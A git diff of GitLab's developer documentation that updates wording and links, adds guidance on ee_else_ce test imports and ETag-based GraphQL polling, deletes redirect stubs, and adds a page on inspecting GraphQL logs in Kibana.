create an issue using the [Doc Review description template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Doc%20Review)
and link to it from the merged merge request that introduced the documentation change.
-Circumstances, where a regular pre-merge Technical Writer review might be skipped, include:
+Circumstances in which a regular pre-merge Technical Writer review might be skipped include:
-- There is a short amount of time left before the milestone release. If less than three
+- There is a short amount of time left before the milestone release. If fewer than three
days are remaining, seek a post-merge review and ping the writer via Slack to ensure the review is
completed as soon as possible.
- The size of the change is small and you have a high degree of confidence
diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md
index 7f74d9660e9..70d7ea7c1a5 100644
--- a/doc/development/ee_features.md
+++ b/doc/development/ee_features.md
@@ -1079,6 +1079,48 @@ export default {
- **EE extra HTML**
- For the templates that have extra HTML in EE we should move it into a new component and use the `ee_else_ce` dynamic import
+#### Testing modules using EE/CE aliases
+
+When writing Frontend tests, if the module under test imports other modules with `ee_else_ce/...` and these modules are also needed by the relevant test, then the relevant test **must** import these modules with `ee_else_ce/...`. This avoids unexpected EE or FOSS failures, and helps ensure the EE behaves like CE when it is unlicensed.
+
+For example:
+
+```vue
+<script>
+// ~/foo/component_under_test.vue
+
+import FriendComponent from 'ee_else_ce/components/friend.vue;'
+
+export default {
+ name: 'ComponentUnderTest',
+ components: { FriendComponent }.
+}
+</script>
+
+<template>
+ <friend-component />
+</template>
+```
+
+```javascript
+// spec/frontend/foo/component_under_test_spec.js
+
+// ...
+// because we referenced the component using ee_else_ce we have to do the same in the spec.
+import Friend from 'ee_else_ce/components/friend.vue;'
+
+describe('ComponentUnderTest', () => {
+ const findFriend = () => wrapper.find(Friend);
+
+ it('renders friend', () => {
+ // This would fail in CE if we did `ee/component...`
+ // and would fail in EE if we did `~/component...`
+ expect(findFriend().exists()).toBe(true);
+ });
+});
+
+```
+
### Non Vue Files
For regular JS files, the approach is similar.
diff --git a/doc/development/event_tracking/backend.md b/doc/development/event_tracking/backend.md
deleted file mode 100644
index 3931f0b35ab..00000000000
--- a/doc/development/event_tracking/backend.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
-remove_date: '2021-12-01'
----
-
-This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-
-<!-- This redirect file can be deleted after 2021-12-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/event_tracking/frontend.md b/doc/development/event_tracking/frontend.md
deleted file mode 100644
index 3931f0b35ab..00000000000
--- a/doc/development/event_tracking/frontend.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
-remove_date: '2021-12-01'
----
-
-This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-
-<!-- This redirect file can be deleted after 2021-12-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/event_tracking/index.md b/doc/development/event_tracking/index.md
deleted file mode 100644
index 3931f0b35ab..00000000000
--- a/doc/development/event_tracking/index.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
-remove_date: '2021-12-01'
----
-
-This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-
-<!-- This redirect file can be deleted after 2021-12-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/experiment_guide/gitlab_experiment.md b/doc/development/experiment_guide/gitlab_experiment.md
index af4512dcde0..288823bb41f 100644
--- a/doc/development/experiment_guide/gitlab_experiment.md
+++ b/doc/development/experiment_guide/gitlab_experiment.md
@@ -20,7 +20,7 @@ concepts which may seem confusing or advanced without understanding the underpin
of how GitLab uses feature flags in development. One concept: GLEX supports
experiments with multiple variants, which are sometimes referred to as A/B/n tests.
-The [`gitlab-experiment` project](https://gitlab.com/gitlab-org/gitlab-experiment)
+The [`gitlab-experiment` project](https://gitlab.com/gitlab-org/ruby/gems/gitlab-experiment)
exists in a separate repository, so it can be shared across any GitLab property that uses
Ruby. You should feel comfortable reading the documentation on that project as well
if you want to dig into more advanced topics.
@@ -394,26 +394,6 @@ You may be asked from time to time to track a specific record ID in experiments.
The approach is largely up to the PM and engineer creating the implementation.
No recommendations are provided here at this time.
-### Record experiment subjects
-
-Snowplow tracking of identifiable users or groups is prohibited, but you can still
-determine if an experiment is successful or not. We're allowed to record the ID of
-a namespace, project or user in our database. Therefore, we can tell the experiment
-to record their ID together with the assigned experiment variant in the
-`experiment_subjects` database table for later analysis.
-
-For the recording to work, the experiment's context must include a `namespace`,
-`group`, `project`, `user`, or `actor`.
-
-To record the experiment subject when you first assign a variant, call `record!` in
-the experiment's block:
-
-```ruby
-experiment(:pill_color, actor: current_user) do |e|
- e.record!
-end
-```
-
## Test with RSpec
This gem provides some RSpec helpers and custom matchers. These are in flux as of GitLab 13.10.
diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md
index 1b1f756d4c0..9937cb2ebd1 100644
--- a/doc/development/experiment_guide/index.md
+++ b/doc/development/experiment_guide/index.md
@@ -38,13 +38,13 @@ being removed before the [experiment cleanup process](https://about.gitlab.com/h
If, as a reviewer or maintainer, you find code that would usually fail review
but is acceptable for now, mention your concerns with a note that there's no
need to change the code. The author can then add a comment to this piece of code
-and link to the issue that resolves the experiment. If the experiment is
-successful and becomes part of the product, any follow up issues should be
-addressed.
+and link to the issue that resolves the experiment. The author or reviewer can add a link to this concern in the
+experiment rollout issue under the `Experiment Successful Cleanup Concerns` section of the description.
+If the experiment is successful and becomes part of the product, any items that appear under this section will be addressed.
## Implementing an experiment
-[`GLEX`](https://gitlab.com/gitlab-org/gitlab-experiment) - or `Gitlab::Experiment`, the `gitlab-experiment` gem - is the preferred option for implementing an experiment in GitLab.
+[`GLEX`](https://gitlab.com/gitlab-org/ruby/gems/gitlab-experiment) - or `Gitlab::Experiment`, the `gitlab-experiment` gem - is the preferred option for implementing an experiment in GitLab.
For more information, see [Implementing an A/B/n experiment using GLEX](gitlab_experiment.md).
diff --git a/doc/development/fe_guide/event_tracking.md b/doc/development/fe_guide/event_tracking.md
deleted file mode 100644
index 3931f0b35ab..00000000000
--- a/doc/development/fe_guide/event_tracking.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
-remove_date: '2021-12-01'
----
-
-This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-
-<!-- This redirect file can be deleted after 2021-12-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md
index 44d43a32803..ed71f612061 100644
--- a/doc/development/fe_guide/graphql.md
+++ b/doc/development/fe_guide/graphql.md
@@ -171,6 +171,40 @@ import { getIdFromGraphQLId } from '~/graphql_shared/utils';
const primaryKeyId = getIdFromGraphQLId(data.id);
```
+**It is required** to query global `id` for every GraphQL type that has an `id` in the schema:
+
+```javascript
+query allReleases(...) {
+ project(...) {
+ id // Project has an ID in GraphQL schema so should fetch it
+ releases(...) {
+ nodes {
+ // Release has no ID property in GraphQL schema
+ name
+ tagName
+ tagPath
+ assets {
+ count
+ links {
+ nodes {
+ id // Link has an ID in GraphQL schema so should fetch it
+ name
+ }
+ }
+ }
+ }
+ pageInfo {
+ // PageInfo no ID property in GraphQL schema
+ startCursor
+ hasPreviousPage
+ hasNextPage
+ endCursor
+ }
+ }
+ }
+}
+```
+
## Immutability and cache updates
From Apollo version 3.0.0 all the cache updates need to be immutable. It needs to be replaced entirely
@@ -808,11 +842,11 @@ export default {
#### Polling and Performance
-While the Apollo client has support for simple polling, for performance reasons, our [Etag-based caching](../polling.md) is preferred to hitting the database each time.
+While the Apollo client has support for simple polling, for performance reasons, our [ETag-based caching](../polling.md) is preferred to hitting the database each time.
-Once the backend is set up, there are a few changes to make on the frontend.
+After the ETag resource is set up to be cached from backend, there are a few changes to make on the frontend.
-First, get your resource ETag path from the backend. In the example of the pipelines graph, this is called the `graphql_resource_etag`. This will be used to create new headers to add to the Apollo context:
+First, get your ETag resource from the backend, which should be in the form of a URL path. In the example of the pipelines graph, this is called the `graphql_resource_etag`, which is used to create new headers to add to the Apollo context:
```javascript
/* pipelines/components/graph/utils.js */
@@ -847,7 +881,51 @@ apollo: {
},
```
-Then, because ETags depend on the request being a `GET` instead of GraphQL's usual `POST`, but our default link library does not support `GET` we need to let our default Apollo client know to use a different library.
+Here, the apollo query is watching for changes in `graphqlResourceEtag`. If your ETag resource dynamically changes, you should make sure the resource you are sending in the query headers is also updated. To do this, you can store and update the ETag resource dynamically in the local cache.
+
+You can see an example of this in the pipeline status of the pipeline editor. The pipeline editor watches for changes in the latest pipeline. When the user creates a new commit, we update the pipeline query to poll for changes in the new pipeline.
+
+```graphql
+# pipeline_etag.query.graphql
+
+query getPipelineEtag {
+ pipelineEtag @client
+}
+```
+
+```javascript
+/* pipeline_editor/components/header/pipeline_status.vue */
+
+import getPipelineEtag from '~/pipeline_editor/graphql/queries/client/pipeline_etag.query.graphql';
+
+apollo: {
+ pipelineEtag: {
+ query: getPipelineEtag,
+ },
+ pipeline: {
+ context() {
+ return getQueryHeaders(this.pipelineEtag);
+ },
+ query: getPipelineQuery,
+ pollInterval: POLL_INTERVAL,
+ },
+}
+
+/* pipeline_editor/components/commit/commit_section.vue */
+
+await this.$apollo.mutate({
+ mutation: commitCIFile,
+ update(store, { data }) {
+ const pipelineEtag = data?.commitCreate?.commit?.commitPipelinePath;
+
+ if (pipelineEtag) {
+ store.writeQuery({ query: getPipelineEtag, data: { pipelineEtag } });
+ }
+ },
+});
+```
+
+ETags depend on the request being a `GET` instead of GraphQL's usual `POST`. Our default link library does not support `GET` requests, so we must let our default Apollo client know to use a different library. Keep in mind, this means your app cannot batch queries.
```javascript
/* componentMountIndex.js */
@@ -862,10 +940,35 @@ const apolloProvider = new VueApollo({
});
```
-Keep in mind, this means your app will not batch queries.
+Finally, we can add a visibility check so that the component pauses polling when the browser tab is not active. This should lessen the request load on the page.
+
+```javascript
+/* component.vue */
+
+import { toggleQueryPollingByVisibility } from '~/pipelines/components/graph/utils';
+
+export default {
+ mounted() {
+ toggleQueryPollingByVisibility(this.$apollo.queries.pipeline, POLL_INTERVAL);
+ },
+};
+```
+
+You can use [this MR](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59672/) as a reference on how to fully implement ETag caching on the frontend.
Once subscriptions are mature, this process can be replaced by using them and we can remove the separate link library and return to batching queries.
+##### How to test ETag caching
+
+You can test that your implementation works by checking requests on the network tab. If there are no changes in your ETag resource, all polled requests should:
+
+- Be `GET` requests instead of `POST` requests.
+- Have an HTTP status of `304` instead of `200`.
+
+Make sure that caching is not disabled in your developer tools when testing.
+
+If you are using Chrome and keep seeing `200` HTTP status codes, it might be this bug: [Developer tools show 200 instead of 304](https://bugs.chromium.org/p/chromium/issues/detail?id=1269602). In this case, inspect the response headers' source to confirm that the request was actually cached and did return with a `304` status code.
+
#### Subscriptions
We use [subscriptions](https://www.apollographql.com/docs/react/data/subscriptions/) to receive real-time updates from GraphQL API via websockets. Currently, the number of existing subscriptions is limited, you can check a list of available ones in [GraphqiQL explorer](https://gitlab.com/-/graphql-explorer)
diff --git a/doc/development/fe_guide/haml.md b/doc/development/fe_guide/haml.md
index f905fdad77e..803bb89118c 100644
--- a/doc/development/fe_guide/haml.md
+++ b/doc/development/fe_guide/haml.md
@@ -59,8 +59,12 @@ When using the GitLab UI form builder, the following components are available fo
NOTE:
Currently only the listed components are available but more components are planned.
+<!-- vale gitlab.Spelling = NO -->
+
#### gitlab_ui_checkbox_component
+<!-- vale gitlab.Spelling = YES -->
+
[GitLab UI Docs](https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-form-form-checkbox--default)
| Argument | Description | Type | Required (default value) |
@@ -73,8 +77,12 @@ Currently only the listed components are available but more components are plann
| `unchecked_value` | Value when checkbox is unchecked. | `String` | `false` (`'0'`) |
| `label_options` | Options that are passed to [Rails `label` method](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-label). | `Hash` | `false` (`{}`) |
+<!-- vale gitlab.Spelling = NO -->
+
#### gitlab_ui_radio_component
+<!-- vale gitlab.Spelling = YES -->
+
[GitLab UI Docs](https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-form-form-radio--default)
| Argument | Description | Type | Required (default value) |
diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md
index 5d5d37e0398..b947d90cc11 100644
--- a/doc/development/fe_guide/vue.md
+++ b/doc/development/fe_guide/vue.md
@@ -73,7 +73,7 @@ component, is that you avoid the need to create a fixture or an HTML element in
##### provide/inject
Vue supports dependency injection through [provide/inject](https://vuejs.org/v2/api/#provide-inject).
-In the component the `inject` configuration accesses the values `provide` passes down.
+In the component the `inject` configuration accesses the values `provide` passes down.
This example of a Vue app initialization shows how the `provide` configuration passes a value from HAML to the component:
```javascript
@@ -308,7 +308,7 @@ This folder holds all components that are specific to this new feature.
If you need to use or create a component that is likely to be used somewhere
else, please refer to `vue_shared/components`.
-A good rule of thumb to know when you should create a component is to think if
+A good guideline to know when you should create a component is to think if
it could be reusable elsewhere.
For example, tables are used in a quite amount of places across GitLab, a table
@@ -336,7 +336,7 @@ In the [Vue documentation](https://vuejs.org/v2/api/#Options-Data) the Data func
> The data object for the Vue instance. Vue recursively converts its properties into getter/setters
to make it "reactive". The object must be plain: native objects such as browser API objects and
-prototype properties are ignored. A rule of thumb is that data should just be data - it is not
+prototype properties are ignored. A guideline is that data should just be data - it is not
recommended to observe objects with their own stateful behavior.
Based on the Vue guidance:
diff --git a/doc/development/fe_guide/vue3_migration.md b/doc/development/fe_guide/vue3_migration.md
index c6f480deb22..2b783eb21b7 100644
--- a/doc/development/fe_guide/vue3_migration.md
+++ b/doc/development/fe_guide/vue3_migration.md
@@ -31,7 +31,7 @@ Component's computed properties / methods or external helpers.
**When to use**
-If you are in a Vue app that doesn't use any event hub, try to avoid adding a new one unless absolutely necessary. For example, if you need a child component to react to its parent's event, it's preferred to pass a prop down. Then, use the watch property on that prop in the child component to create the desired side effect.
+If you are in a Vue app that doesn't use any event hub, try to avoid adding a new one unless absolutely necessary. For example, if you need a child component to react to its parent's event, it's preferred to pass a prop down. Then, use the watch property on that prop in the child component to create the desired side effect.
If you need cross-component communication (between different Vue apps), then perhaps introducing a hub is the right decision.
diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md
index abb100c659e..4843b58c3fd 100644
--- a/doc/development/feature_flags/controls.md
+++ b/doc/development/feature_flags/controls.md
@@ -12,7 +12,8 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo
To be able to turn on/off features behind feature flags in any of the
GitLab Inc. provided environments such as staging and production, you need to
have access to the [ChatOps](../chatops_on_gitlabcom.md) bot. The ChatOps bot
-is currently running on the ops instance, which is different from <https://gitlab.com> or <https://dev.gitlab.org>.
+is currently running on the ops instance, which is different from
+[GitLab.com](https://gitlab.com) or [`dev.gitlab.org`](https://dev.gitlab.org).
Follow the ChatOps document to [request access](../chatops_on_gitlabcom.md#requesting-access).
@@ -35,12 +36,12 @@ This allows you to separate rolling out a feature from a deploy, making it
easier to measure the impact of both separately.
The GitLab feature library (using
-[Flipper](https://github.com/jnunemaker/flipper), and covered in the [Feature
-Flags process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/) guide) supports rolling out changes to a percentage of
+[Flipper](https://github.com/jnunemaker/flipper), and covered in the
+[Feature Flags process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/) guide) supports rolling out changes to a percentage of
time to users. This in turn can be controlled using [GitLab ChatOps](../../ci/chatops/index.md).
-For an up to date list of feature flag commands please see [the source
-code](https://gitlab.com/gitlab-com/chatops/blob/master/lib/chatops/commands/feature.rb).
+For an up to date list of feature flag commands please see
+[the source code](https://gitlab.com/gitlab-com/chatops/blob/master/lib/chatops/commands/feature.rb).
Note that all the examples in that file must be preceded by
`/chatops run`.
@@ -50,15 +51,16 @@ change feature flags or you do not [have access](#access).
### Enabling a feature for pre-production testing
-As a first step in a feature rollout, you should enable the feature on <https://about.staging.gitlab.com>
-and <https://dev.gitlab.org>.
+As a first step in a feature rollout, you should enable the feature on
+[`about.staging.gitlab.com`](https://about.staging.gitlab.com)
+and [`dev.gitlab.org`](https://dev.gitlab.org).
These two environments have different scopes.
`dev.gitlab.org` is a production CE environment that has internal GitLab Inc.
traffic and is used for some development and other related work.
`staging.gitlab.com` has a smaller subset of GitLab.com database and repositories
and does not have regular traffic. Staging is an EE instance and can give you
-a (very) rough estimate of how your feature will look/behave on GitLab.com.
+a (very) rough estimate of how your feature will look and behave on GitLab.com.
Both of these instances are connected to Sentry so make sure you check the projects
there for any exceptions while testing your feature after enabling the feature flag.
@@ -97,7 +99,7 @@ Guidelines:
#### Process
When enabling a feature flag rollout, the system will automatically block the
-chatops command from succeeding if there are active `"severity::1"` or `~"severity::2"`
+ChatOps command from succeeding if there are active `"severity::1"` or `~"severity::2"`
incidents or in-progress change issues, for example:
```shell
@@ -227,7 +229,7 @@ Note, that if an actor based feature gate is present, switching the
`default_enabled` attribute of the YAML definition from `false` to `true`
will not have any effect. The feature gate must be deleted first.
-For example, a feature flag is set via chatops:
+For example, a feature flag is set via ChatOps:
```shell
/chatops run feature set --project=gitlab-org/gitlab some_feature true
@@ -265,7 +267,7 @@ To disable a feature flag that has been enabled for a specific project you can r
You cannot selectively disable feature flags for a specific project/group/user without applying a [specific method of implementing](index.md#selectively-disable-by-actor) the feature flags.
-If a feature flag is disabled via chatops, that will take precedence over the `default_enabled` value in the YML. In other words, you could have a feature enabled for on-premise installations but not for GitLab.com.
+If a feature flag is disabled via ChatOps, that will take precedence over the `default_enabled` value in the YML. In other words, you could have a feature enabled for on-premise installations but not for GitLab.com.
### Feature flag change logging
diff --git a/doc/development/features_inside_dot_gitlab.md b/doc/development/features_inside_dot_gitlab.md
index 4631ab3a471..3a9decaad69 100644
--- a/doc/development/features_inside_dot_gitlab.md
+++ b/doc/development/features_inside_dot_gitlab.md
@@ -12,7 +12,7 @@ When implementing new features, please refer to these existing features to avoid
- [Custom Dashboards](../operations/metrics/dashboards/index.md#add-a-new-dashboard-to-your-project): `.gitlab/dashboards/`.
- [Issue Templates](../user/project/description_templates.md#create-an-issue-template): `.gitlab/issue_templates/`.
- [Merge Request Templates](../user/project/description_templates.md#create-a-merge-request-template): `.gitlab/merge_request_templates/`.
-- [GitLab Kubernetes Agents](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/configuration_repository.md#layout): `.gitlab/agents/`.
+- [GitLab Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/configuration_repository.md#layout): `.gitlab/agents/`.
- [CODEOWNERS](../user/project/code_owners.md#set-up-code-owners): `.gitlab/CODEOWNERS`.
- [Route Maps](../ci/review_apps/#route-maps): `.gitlab/route-map.yml`.
- [Customize Auto DevOps Helm Values](../topics/autodevops/customize.md#customize-values-for-helm-chart): `.gitlab/auto-deploy-values.yaml`.
diff --git a/doc/development/filtering_by_label.md b/doc/development/filtering_by_label.md
index 6f9811f7e05..9e759744a1a 100644
--- a/doc/development/filtering_by_label.md
+++ b/doc/development/filtering_by_label.md
@@ -47,9 +47,9 @@ This is more complicated than is ideal. It makes the query construction more
prone to errors (such as
[issue #15557](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/15557)).
-## Attempt A: WHERE EXISTS
+## Attempt A: `WHERE EXISTS`
-### Attempt A1: use multiple subqueries with WHERE EXISTS
+### Attempt A1: use multiple subqueries with `WHERE EXISTS`
In [issue #37137](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37137)
and its associated [merge request](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14022),
@@ -82,7 +82,7 @@ AND (EXISTS (
While this worked without schema changes, and did improve readability somewhat,
it did not improve query performance.
-### Attempt A2: use label IDs in the WHERE EXISTS clause
+### Attempt A2: use label IDs in the `WHERE EXISTS` clause
In [merge request #34503](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34503), we followed a similar approach to A1. But this time, we
did a separate query to fetch the IDs of the labels used in the filter so that we avoid the `JOIN` in the `EXISTS` clause and filter directly by
diff --git a/doc/development/go_guide/go_upgrade.md b/doc/development/go_guide/go_upgrade.md
index 53f2d7d176a..889849799bc 100644
--- a/doc/development/go_guide/go_upgrade.md
+++ b/doc/development/go_guide/go_upgrade.md
@@ -32,7 +32,7 @@ Individual Golang projects need to support multiple Go versions because:
- We must support the [official Omnibus GitLab Go version](#updating-go-version), which may be behind the latest minor release.
- When Omnibus switches Go version, we still may need to support the old one for security backports.
-These 3 requirements may easily be satisfied by keeping support for the [3 latest minor versions of Go](https://golang.org/dl/).
+These 3 requirements may easily be satisfied by keeping support for the [3 latest minor versions of Go](https://go.dev/dl/).
It is ok to drop support for the oldest Go version and support only the 2 latest releases,
if this is enough to support backports to the last 3 minor GitLab releases.
@@ -52,12 +52,12 @@ in case of a critical security release.
We should always:
- Use the same Go version for Omnibus GitLab and Cloud Native GitLab.
-- Use a [supported version](https://golang.org/doc/devel/release#policy).
+- Use a [supported version](https://go.dev/doc/devel/release#policy).
- Use the most recent patch-level for that version to keep up with security fixes.
Changing the version affects every project being compiled, so it's important to
ensure that all projects have been updated to test against the new Go version
-before changing the package builders to use it. Despite [Go's compatibility promise](https://golang.org/doc/go1compat),
+before changing the package builders to use it. Despite [Go's compatibility promise](https://go.dev/doc/go1compat),
changes between minor versions can expose bugs or cause problems in our projects.
### Upgrade process
@@ -134,7 +134,7 @@ if you need help finding the correct person or labels:
| GitLab Compose Kit | [Issuer Tracker](https://gitlab.com/gitlab-org/gitlab-compose-kit/-/issues) |
| GitLab Container Registry | [Issue Tracker](https://gitlab.com/gitlab-org/container-registry) |
| GitLab Elasticsearch Indexer | [Issue Tracker](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer/-/issues) |
-| GitLab Kubernetes Agent (KAS) | [Issue Tracker](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues) |
+| GitLab Agent Server (KAS) | [Issue Tracker](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues) |
| GitLab Pages | [Issue Tracker](https://gitlab.com/gitlab-org/gitlab-pages/-/issues) |
| GitLab Quality Images | [Issue Tracker](https://gitlab.com/gitlab-org/gitlab-build-images/-/issues) |
| GitLab Shell | [Issue Tracker](https://gitlab.com/gitlab-org/gitlab-shell/-/issues) |
diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md
index 9bf8b7ef89a..a5661a77da3 100644
--- a/doc/development/go_guide/index.md
+++ b/doc/development/go_guide/index.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Go standards and style guidelines
This document describes various guidelines and best practices for GitLab
-projects using the [Go language](https://golang.org).
+projects using the [Go language](https://go.dev/).
## Overview
@@ -103,7 +103,7 @@ projects:
- Use `goimports` before committing.
[`goimports`](https://pkg.go.dev/golang.org/x/tools/cmd/goimports)
is a tool that automatically formats Go source code using
- [`Gofmt`](https://golang.org/cmd/gofmt/), in addition to formatting import lines,
+ [`Gofmt`](https://pkg.go.dev/cmd/gofmt), in addition to formatting import lines,
adding missing ones and removing unreferenced ones.
Most editors/IDEs allow you to run commands before/after saving a file, you can set it
@@ -196,7 +196,7 @@ deploy a new pod, migrating the data automatically.
### Testing frameworks
We should not use any specific library or framework for testing, as the
-[standard library](https://golang.org/pkg/) provides already everything to get
+[standard library](https://pkg.go.dev/std) provides already everything to get
started. If there is a need for more sophisticated testing tools, the following
external dependencies might be worth considering in case we decide to use a specific
library or framework:
@@ -279,7 +279,7 @@ to make the test output easily readable.
### Benchmarks
Programs handling a lot of IO or complex operations should always include
-[benchmarks](https://golang.org/pkg/testing/#hdr-Benchmarks), to ensure
+[benchmarks](https://pkg.go.dev/testing#hdr-Benchmarks), to ensure
performance consistency over time.
## Error handling
@@ -435,7 +435,7 @@ The following are some style guidelines that are specific to the Secure Team.
Use `goimports -local gitlab.com/gitlab-org` before committing.
[`goimports`](https://pkg.go.dev/golang.org/x/tools/cmd/goimports)
is a tool that automatically formats Go source code using
-[`Gofmt`](https://golang.org/cmd/gofmt/), in addition to formatting import lines,
+[`Gofmt`](https://pkg.go.dev/cmd/gofmt), in addition to formatting import lines,
adding missing ones and removing unreferenced ones.
By using the `-local gitlab.com/gitlab-org` option, `goimports` groups locally referenced
packages separately from external ones. See
@@ -452,7 +452,7 @@ If the scanner report is small, less than 35 lines, then feel free to [inline th
#### Test Diffs
-The [go-cmp]<https://github.com/google/go-cmp> package should be used when comparing large structs in tests. It makes it possible to output a specific diff where the two structs differ, rather than seeing the whole of both structs printed out in the test logs. Here is a small example:
+The [go-cmp](https://github.com/google/go-cmp) package should be used when comparing large structs in tests. It makes it possible to output a specific diff where the two structs differ, rather than seeing the whole of both structs printed out in the test logs. Here is a small example:
```golang
package main
diff --git a/doc/development/graphql_guide/authorization.md b/doc/development/graphql_guide/authorization.md
index d7edd01cda2..717a6d29fbc 100644
--- a/doc/development/graphql_guide/authorization.md
+++ b/doc/development/graphql_guide/authorization.md
@@ -43,6 +43,11 @@ such as short pages, which can expose the presence of confidential resources.
See [`authorization_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/graphql/features/authorization_spec.rb)
for examples of all the authorization schemes discussed here.
+<!--
+ NOTE: if you change this heading (or the location to this file), make sure to update
+ the referenced link in rubocop/cop/graphql/authorize_types.rb
+-->
+
## Type authorization
Authorize a type by passing an ability to the `authorize` method. All
diff --git a/doc/development/graphql_guide/index.md b/doc/development/graphql_guide/index.md
index cc97e41df05..412825e06d3 100644
--- a/doc/development/graphql_guide/index.md
+++ b/doc/development/graphql_guide/index.md
@@ -21,3 +21,4 @@ feedback, and suggestions.
- [GraphQL BatchLoader](batchloader.md): development documentation on the BatchLoader.
- [GraphQL pagination](pagination.md): development documentation on pagination.
- [GraphQL Pro](graphql_pro.md): information on our GraphQL Pro subscription.
+- [GraphQL monitoring](monitoring.md): tips on how to use our monitoring tools to inspect GraphQL queries.
diff --git a/doc/development/graphql_guide/monitoring.md b/doc/development/graphql_guide/monitoring.md
new file mode 100644
index 00000000000..28d1a4a9046
--- /dev/null
+++ b/doc/development/graphql_guide/monitoring.md
@@ -0,0 +1,89 @@
+---
+stage: Ecosystem
+group: Integrations
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Monitoring GraphQL
+
+This page gives tips on how to analyze GraphQL data in our monitoring tools.
+Please contribute your own tips to improve this document.
+
+## Kibana
+
+We use Kibana to filter GraphQL query logs. Sign in to [Kibana](https://log.gprd.gitlab.net/)
+with a `@gitlab.com` email address.
+
+In Kibana we can inspect two kinds of GraphQL logs:
+
+- Logs of each GraphQL query executed within the request.
+- Logs of the full request, which due to [query multiplexing](https://graphql-ruby.org/queries/multiplex.html)
+ may have executed multiple queries.
+
+### Logs of each GraphQL query
+
+In a [multiplex query](https://graphql-ruby.org/queries/multiplex.html), each individual query
+is logged separately. We can use subcomponent filtering to inspect these logs.
+[Visit Kibana with this filter enabled](https://log.gprd.gitlab.net/goto/a0da8c9a1e9c1f533a058b7d29d13956)
+or set up the subcomponent filter using these steps:
+
+1. Add a filter:
+ 1. Filter: `json.subcomponent`
+ 1. Operator: `is`
+ 1. Value: `graphql_json`
+1. Select **Refresh**.
+
+You can select Kibana fields from the **Available fields** section of the sidebar to
+add columns to the log table, or [visit this view](https://log.gprd.gitlab.net/goto/5826d3d3affb41cac52e637ffc205905),
+which already has a set of Kibana fields selected. Some relevant Kibana fields include:
+
+| Kibana field | Description |
+| --- | --- |
+| `json.operation_name` | The [operation name](https://graphql.org/learn/queries/#operation-name) used by the client. |
+| `json.operation_fingerprint`| The [fingerprint](https://graphql-ruby.org/api-doc/1.12.20/GraphQL/Query#fingerprint-instance_method) of the query, used to recognize repeated queries over time. |
+| `json.meta.caller_id` | Appears as `graphql:<operation_name>` for queries that came from the GitLab frontend, otherwise as `graphql:unknown`. Can be used to identify internal versus external queries. |
+| `json.query_string` | The query string itself. |
+| `json.is_mutation` | `true` when a mutation, `false` when not. |
+| `json.query_analysis.used_fields` | List of GraphQL fields selected by the query. |
+| `json.query_analysis.used_deprecated_fields` | List of deprecated GraphQL fields selected by the query. |
+| `json.query_analysis.duration_s` | Duration of query execution in seconds. |
+| `json.query_analysis.complexity` | The [complexity](../api_graphql_styleguide.md#max-complexity) score of the query. |
+
+#### Useful filters
+
+Combine the [subcomponent filter](#logs-of-each-graphql-query) with the following Kibana filters to further interrogate the query logs.
+
+##### Queries that used a particular field
+
+Filter logs by queries that used a particular field:
+
+1. Add a filter:
+ 1. Filter: `json.query_analysis.used_fields`
+ 1. Operator: `is`
+ 1. Value: `Type.myField`, where `Type.myField` is the type name and field name as it
+ appears in [our GraphQL reference documentation](../../api/graphql/reference/index.md).
+1. Select **Refresh**.
+
+##### Queries that used a deprecated field
+
+Filter logs of queries that used a particular deprecated field by following the
+[steps above](#queries-that-used-a-particular-field) but use the `json.graphql.used_deprecated_fields`
+filter instead.
+
+### Logs of the full request
+
+The full request logs encompass log data for all [multiplexed queries](https://graphql-ruby.org/queries/multiplex.html)
+in the request, as well as data from time spent outside of `GraphQLController#execute`.
+
